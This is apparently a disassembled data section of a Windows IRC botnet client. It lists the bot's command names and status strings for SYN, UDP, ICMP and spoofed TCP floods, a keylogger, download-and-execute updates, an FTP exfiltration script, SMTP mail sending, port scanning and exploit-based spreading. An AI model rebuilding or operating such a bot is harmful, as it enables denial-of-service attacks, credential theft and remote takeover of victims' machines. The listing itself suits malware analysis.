		dd 2202967h, 2002BBBBh,	63694E20h, 2528206Bh, 203A2973h
		dd 7325h
dword_4367E4	dd 4B43494Eh, 732520h	; DATA XREF: sub_40EE72+41B9o
					; sub_40EE72+4CADo
dword_4367EC	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40EE72+419Ao
dword_4367F8	dd 54524150h, 732520h	; DATA XREF: sub_40EE72+4130o
dword_436800	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_412F8Fo
		dd 2BBBB02h
aRepeatNotAllow	db '  Repeat not allowed in command line: %s',0
		align 4
dword_436844	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+40E6o
		dd 2BBBB02h, 65522020h,	74616570h, 7325203Ah, 0
aRepeat		db 'repeat',0           ; DATA XREF: sub_40EE72+4092o
		align 4
dword_436874	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_412EBCo
		dd 2BBBB02h, 65442020h,	2E79616Ch, 0
dword_436898	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_40EE72+400Ao
					; sub_40EE72+40BDo ...
unk_4368A8	db    2			; DATA XREF: sub_40EE72:loc_412E29o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aBotIdMustBeDif	db ' Bot ID must be different than current running process.',0
unk_4368FC	db    2			; DATA XREF: sub_40EE72+3FADo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToStartD	db ' Failed to start download thread, error: <%d>.',0
		align 4
unk_436948	db    2			; DATA XREF: sub_40EE72+3F3Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aDownloadingUpd	db ' Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_40EE72+3E95o
		align 10h
dword_436990	dd 7A026E02h, 201F6D1Fh, 65786528h, 1F702E63h, 29671F6Ch
					; DATA XREF: sub_40EE72+3E33o
		dd 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh,	732520h
unk_4369B8	db    2			; DATA XREF: sub_40EE72+3E28o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 65h,	78h, 65h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTExecute	db '  Couldn',27h,'t execute file.',0
		align 4
unk_4369EC	db    2			; DATA XREF: sub_40EE72+3DA0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_16	db '  Failed to start search thread, error: <%d>.',0
		align 4
unk_436A38	db    2			; DATA XREF: sub_40EE72+3D26o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingFor_0	db '  Searching for file: %s in: %s.',0
		align 4
dword_436A78	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40EE72:loc_412AF9o
					; sub_40EE72:loc_413962o
		dd 0BBBB0220h, 2002h
unk_436A94	db    2			; DATA XREF: sub_40EE72+3C6Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aRenameSToS_	db '  Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_436AC8	db    2			; DATA XREF: sub_40EE72:loc_412ABFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidFloodTi	db '  Invalid flood time must be greater than 0.',0
		align 10h
unk_436B10	db    2			; DATA XREF: sub_40EE72+3C43o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartF	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_436B58	db    2			; DATA XREF: sub_40EE72+3BCFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSForSS	db '  Flooding: (%s) for %s seconds.',0
		align 4
unk_436B94	db    2			; DATA XREF: sub_40EE72+3B4Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Ch, 6Fh
		db  6Eh	; n
		db 65h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToSta_17	db ' Failed to start clone thread, error: <%d>.',0
unk_436BDC	db    2			; DATA XREF: sub_40EE72+3ADDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Ch, 6Fh
		db  6Eh	; n
		db 65h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aCreatedOnSDInC	db ' Created on %s:%d, in channel %s.',0
		align 4
unk_436C1C	db    2			; DATA XREF: sub_40EE72+3A55o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_18	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_436C64	db    2			; DATA XREF: sub_40EE72+39E6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSForS	db '  Flooding: (%s:%s) for %s seconds.',0
		align 4
dword_436CA4	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+3948o
		dd 2BBBB02h
aFailedToSta_19	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_436CEC	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+38D7o
		dd 2BBBB02h
aFloodingSSFo_0	db '  Flooding: (%s:%s) for %s seconds.',0
unk_436D28	db    2			; DATA XREF: sub_40EE72+385Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartT	db '  Failed to start transfer thread, error: <%d>.',0
		align 4
unk_436D78	db    2			; DATA XREF: sub_40EE72+37EFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloadingUrl	db '  Downloading URL: %s to: %s.',0
		align 4
unk_436DB4	db    2			; DATA XREF: sub_40EE72+371Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartR	db '   Failed to start redirection thread, error: <%d>.',0
		align 4
unk_436E08	db    2			; DATA XREF: sub_40EE72+36AEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTcpRedirectCre	db '   TCP redirect created from: %s:%d to: %s:%d.',0
unk_436E54	db    2			; DATA XREF: sub_40EE72+3620o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_20	db '  Failed to start scan thread, error: <%d>.',0
		align 10h
unk_436EA0	db    2			; DATA XREF: sub_40EE72+35B1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aPortScanStarte	db '  Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0		db '[%s] <%s> %s',0     ; DATA XREF: sub_40EE72+352Do
		align 4
aSSS_1		db '[%s] * %s %s',0     ; DATA XREF: sub_40EE72+3430o
		align 4
dword_436F0C	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_40EE72+33A2o
					; sub_40EE72+43EFo
unk_436F18	db    2			; DATA XREF: sub_40EE72+3340o
					; sub_40EE72+5177o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_21	db '  Failed to start scan thread, error: <%d>.',0
		align 10h
unk_436F60	db    2			; DATA XREF: sub_40EE72+32D1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSExploitationS	db '  %s Exploitation started on %s:%d waiting %d seconds for %d minu'
		db 'tes using %d threads.',0
aSequential	db 'Sequential',0       ; DATA XREF: sub_40EE72+32A6o
					; sub_40EE72+50DBo
		align 4
aRandom_0	db 'Random',0           ; DATA XREF: sub_40EE72+329Fo
					; sub_40EE72+50D4o
		align 4
unk_436FE4	db    2			; DATA XREF: sub_40EE72+3161o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_22	db '  Failed to start scan, no IP specified.',0
		align 4
unk_437028	db    2			; DATA XREF: sub_40EE72+301Ao
					; sub_40EE72+4F1Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aAlreadyDScanni	db '  Already %d scanning threads. Too many specified.',0
dword_437074	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2FE9o
		dd 2BBBB02h
aFailedToSta_23	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_4370BC	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2F7Ao
		dd 2BBBB02h
aSendingDPacket	db '  Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_40EE72+2EA2o
		align 4
unk_43712C	db    2			; DATA XREF: sub_40EE72+2E8Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_24	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_437174	db    2			; DATA XREF: sub_40EE72+2E22o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendingDPingsT	db '  Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
dword_4371CC	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_411BF4o
		dd 2BBBB02h
aInvalidFlood_0	db '  Invalid flood time must be greater than 0.',0
		align 4
dword_437214	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2D78o
		dd 2BBBB02h
aFailedToSta_25	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_43725C	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2CFEo
		dd 2BBBB02h
aSSFloodingSSFo	db '  %s %s flooding: (%s:%s) for %s seconds.',0
		align 10h
aNormal		db 'Normal',0           ; DATA XREF: sub_40EE72+2CEEo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_40EE72+2CE7o
dword_4372B0	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2C4Co
		dd 2BBBB02h
aInvalidFloodTy	db '  Invalid flood type specified.',0
dword_4372E8	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4119D3o
		dd 2BBBB02h
aUploadingFileS	db '  Uploading file: %s to: %s failed.',0
dword_437324	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2B5Ao
		dd 2BBBB02h
aUploadingFil_0	db '  Uploading file: %s to: %s',0
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_40EE72+2B43o
aSS_4		db '-s:%s',0            ; DATA XREF: sub_40EE72+2B2Co
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_40EE72+2B09o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_40EE72+2AD4o
		align 4
dword_43739C	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2A8Ao
		dd 2BBBB02h
aFileNotFoundS_	db '  File not found: %s.',0
		align 4
aFtp_upload	db 'ftp.upload',0       ; DATA XREF: sub_40EE72+2A67o
		align 4
aUtil_hcon	db 'util.hcon',0        ; DATA XREF: sub_40EE72+2A44o
		align 4
aUtil_httpcon	db 'util.httpcon',0     ; DATA XREF: sub_40EE72+2A2Do
		align 4
unk_4373F4	db    3			; DATA XREF: sub_40EE72+2A11o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 65h
		db  6Dh	; m
		db 61h,	69h, 6Ch
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5MessageSentTo	db '5  Message sent to %s.',0
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_40EE72+299Do
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
a__0:					; DATA XREF: sub_40EE72+2901o
		unicode	0, <_>,0
aUtil_email	db 'util.email',0       ; DATA XREF: sub_40EE72+28B2o
		align 10h
aDdos_tcpf	db 'ddos.tcpf',0        ; DATA XREF: sub_40EE72+289Bo
		align 4
aDdos_tcpflood	db 'ddos.tcpflood',0    ; DATA XREF: sub_40EE72+2884o
		align 4
aP:					; DATA XREF: sub_40EE72+286Do
		unicode	0, <p>,0
aDdos_pingf	db 'ddos.pingf',0       ; DATA XREF: sub_40EE72+2856o
		align 4
aDdos_pingflood	db 'ddos.pingflood',0   ; DATA XREF: sub_40EE72+283Fo
		align 4
aU:					; DATA XREF: sub_40EE72+2828o
		unicode	0, <u>,0
aDdos_udpf	db 'ddos.udpf',0        ; DATA XREF: sub_40EE72+2811o
		align 4
aDdos_udpflood	db 'ddos.udpflood',0    ; DATA XREF: sub_40EE72+27FAo
		align 4
aAdv		db 'adv',0              ; DATA XREF: sub_40EE72+27E3o
aAdvscan	db 'advscan',0          ; DATA XREF: sub_40EE72+27CCo
aClone_ac	db 'clone.ac',0         ; DATA XREF: sub_40EE72+27A3o
		align 4
aClone_action	db 'clone.action',0     ; DATA XREF: sub_40EE72+278Co
		align 4
aClone_pm	db 'clone.pm',0         ; DATA XREF: sub_40EE72+2775o
		align 10h
aClone_privmsg	db 'clone.privmsg',0    ; DATA XREF: sub_40EE72+275Eo
		align 10h
aRoot_ps	db 'root.ps',0          ; DATA XREF: sub_40EE72+2747o
aRoot_portscan	db 'root.portscan',0    ; DATA XREF: sub_40EE72+2730o
		align 4
aDaemon_rd	db 'daemon.rd',0        ; DATA XREF: sub_40EE72+2719o
		align 4
aDaemon_redirec	db 'daemon.redirect',0  ; DATA XREF: sub_40EE72+2702o
aDownload_wg	db 'download.wg',0      ; DATA XREF: sub_40EE72+26EBo
aDownload_wget	db 'download.wget',0    ; DATA XREF: sub_40EE72+26D4o
		align 10h
aDdos_synf	db 'ddos.synf',0        ; DATA XREF: sub_40EE72+26BDo
		align 4
aDdos_synflood	db 'ddos.synflood',0    ; DATA XREF: sub_40EE72+26A6o
		align 4
aClone_start	db 'clone.start',0      ; DATA XREF: sub_40EE72+264Ao
aClone_make	db 'clone.make',0       ; DATA XREF: sub_40EE72+2633o
		align 4
aDdos_ic	db 'ddos.ic',0          ; DATA XREF: sub_40EE72+260Ao
aDdos_icmp	db 'ddos.icmp',0        ; DATA XREF: sub_40EE72+25F3o
		align 4
aCom_mv		db 'com.mv',0           ; DATA XREF: sub_40EE72+25DCo
		align 10h
aCom_rename	db 'com.rename',0       ; DATA XREF: sub_40EE72+25C5o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_40EE72+25AEo
		align 10h
aFindfile	db 'findfile',0         ; DATA XREF: sub_40EE72+2597o
		align 4
aCom_e		db 'com.e',0            ; DATA XREF: sub_40EE72+2580o
		align 4
aCom_execute	db 'com.execute',0      ; DATA XREF: sub_40EE72+2569o
aDownload_up	db 'download.up',0      ; DATA XREF: sub_40EE72+2552o
aDownload_updat	db 'download.update',0  ; DATA XREF: sub_40EE72+253Bo
aIrc_de		db 'irc.de',0           ; DATA XREF: sub_40EE72+2524o
		align 4
aIrc_delay	db 'irc.delay',0        ; DATA XREF: sub_40EE72+250Do
		align 10h
aIrc_rp		db 'irc.rp',0           ; DATA XREF: sub_40EE72+24F6o
		align 4
aIrc_repeat	db 'irc.repeat',0       ; DATA XREF: sub_40EE72+24DFo
		align 4
aClone_p	db 'clone.p',0          ; DATA XREF: sub_40EE72+24C8o
aClone_part	db 'clone.part',0       ; DATA XREF: sub_40EE72+24B1o
		align 4
aClone_j	db 'clone.j',0          ; DATA XREF: sub_40EE72+249Ao
aClone_join	db 'clone.join',0       ; DATA XREF: sub_40EE72+2483o
		align 4
aClone_ni	db 'clone.ni',0         ; DATA XREF: sub_40EE72+246Co
		align 4
aClone_nick	db 'clone.nick',0       ; DATA XREF: sub_40EE72+2455o
		align 4
aClone_m	db 'clone.m',0          ; DATA XREF: sub_40EE72+243Eo
aClone_mode	db 'clone.mode',0       ; DATA XREF: sub_40EE72+2427o
		align 4
aClone_ra	db 'clone.ra',0         ; DATA XREF: sub_40EE72+2410o
		align 4
aClone_raw	db 'clone.raw',0        ; DATA XREF: sub_40EE72+23F9o
		align 10h
aIrc_m		db 'irc.m',0            ; DATA XREF: sub_40EE72+23E2o
		align 4
aIrc_mode	db 'irc.mode',0         ; DATA XREF: sub_40EE72+23CBo
		align 4
aIrc_cy		db 'irc.cy',0           ; DATA XREF: sub_40EE72+23B4o
		align 4
aIrc_cycle	db 'irc.cycle',0        ; DATA XREF: sub_40EE72+239Do
		align 4
aIrc_ac		db 'irc.ac',0           ; DATA XREF: sub_40EE72+2386o
		align 10h
aIrc_action	db 'irc.action',0       ; DATA XREF: sub_40EE72+236Fo
		align 4
aIrc_pm		db 'irc.pm',0           ; DATA XREF: sub_40EE72+2358o
		align 4
aIrc_privmsg	db 'irc.privmsg',0      ; DATA XREF: sub_40EE72+2341o
aIrc_aa		db 'irc.aa',0           ; DATA XREF: sub_40EE72+232Ao
		align 4
aIrc_addalias	db 'irc.addalias',0     ; DATA XREF: sub_40EE72+2313o
		align 4
aIrc_gh		db 'irc.gh',0           ; DATA XREF: sub_40EE72+22EAo
		align 10h
aIrc_gethost	db 'irc.gethost',0      ; DATA XREF: sub_40EE72+22D3o
aCom_cap	db 'com.cap',0          ; DATA XREF: sub_40EE72+22BCo
aCom_capture	db 'com.capture',0      ; DATA XREF: sub_40EE72+22A5o
dword_437740	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4110C9o
		dd 2BBBB02h
aCommandUnknown	db '  Command unknown.',0
		align 4
dword_43776C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4110C2o
		dd 2BBBB02h
aNoMessageSpeci	db '  No message specified.',0
dword_43779C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_411077o
		dd 2BBBB02h
aUserListFailed	db '  User list failed.',0
dword_4377C8	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+21FEo
		dd 2BBBB02h
aUserListComple	db '  User list completed.',0
		align 4
aUser		db 'user',0             ; DATA XREF: sub_40EE72+218Ao
		align 10h
dword_437800	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_410FF1o
		dd 2BBBB02h
aShareListFaile	db '  Share list failed.',0
		align 10h
dword_437830	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2175o
		dd 2BBBB02h
aShareListCompl	db '  Share list completed.',0
aShare		db 'share',0            ; DATA XREF: sub_40EE72+211Fo
		align 4
aDelete		db 'delete',0           ; DATA XREF: sub_40EE72+20FDo
		align 10h
aPause		db 'pause',0            ; DATA XREF: sub_40EE72+20CDo
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_40EE72+20B5o
		align 10h
dword_437880	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_410F1Co
		dd 2BBBB02h
aServiceListFai	db '  Service list failed.',0
		align 10h
dword_4378B0	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+20A0o
		dd 2BBBB02h
aServiceListCom	db '  Service list completed.',0
		align 4
dword_4378E4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2036o
		dd 2BBBB02h
aFailedToLoadAd	db '  Failed to load advapi32.dll or netapi32.dll.',0
		align 4
aCom_net	db 'com.net',0          ; DATA XREF: sub_40EE72+2012o
unk_437934	db    2			; DATA XREF: sub_40EE72+1FD1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToSta_26	db ' Failed to start logging thread, error: <%d>.',0
		align 10h
unk_437980	db    2			; DATA XREF: sub_40EE72+1F66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aKeyLoggerActiv	db ' Key logger active.',0
unk_4379B0	db    2			; DATA XREF: sub_40EE72+1EE5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aAlreadyRunni_1	db ' Already running.',0
		align 10h
unk_4379E0	db    2			; DATA XREF: sub_40EE72:loc_410D33o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aNoKeyLoggerThr	db ' No key logger thread found.',0
		align 4
unk_437A1C	db    2			; DATA XREF: sub_40EE72+1EB7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aKeyLoggerStopp	db ' Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aCom_keylog	db 'com.keylog',0       ; DATA XREF: sub_40EE72+1E5Do
		align 4
unk_437A74	db    2			; DATA XREF: sub_40EE72:loc_410CC5o
